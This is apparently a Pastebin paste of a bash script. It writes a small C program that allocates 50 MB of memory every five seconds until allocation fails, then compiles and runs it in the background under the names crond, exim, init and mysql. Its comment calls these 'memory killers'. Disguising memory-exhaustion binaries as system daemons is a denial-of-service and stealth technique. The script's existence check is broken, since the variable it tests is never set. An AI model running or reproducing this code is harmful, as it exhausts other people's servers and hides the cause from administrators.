Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /bin/bash
- #get the homedir path
- home=`env | grep HOME | cut -d= -f2`
- #Build an array to see if these files exist
- array=(crond exim init mysql)
- for i in "${array[@]}"; do
- #See if the script is running
- ps -ef | grep $i | grep -v 'grep' | grep -v $0
- if [[ "$result" != "" ]] ;then
- #if they exist, break out of the loop
- break;
- else
- #if they don't, create them now and start the memory killers.. bwahahaha
- echo -e "#include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- int main(int argc, char** argv) {
- int max = -1;
- int mb = 0;
- char* buffer;
- if(argc > 1)
- max = atoi(argv[1]);
- while((buffer=malloc(50*1024*1024)) != NULL && mb != max) {
- memset(buffer, 0, 50*1024*1024);
- mb++;
- sleep(5);
- }
- return 0;
- }">>$i.c
- gcc $i.c -o $i
- #Run the mysql script
- ./$i &
- fi
- done
Advertisement
Add Comment
Please, Sign In to add comment